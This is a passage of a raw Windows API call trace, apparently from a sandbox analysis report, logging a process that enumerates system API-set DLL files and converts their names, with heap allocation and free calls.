dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x38c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.461] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x38c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.462] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x38c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.462] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.462] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x38c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.462] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.462] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0028.462] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x38c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.463] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x38c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.463] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x38c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.463] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.463] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.463] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x38c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x38c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x38c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0028.464] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, 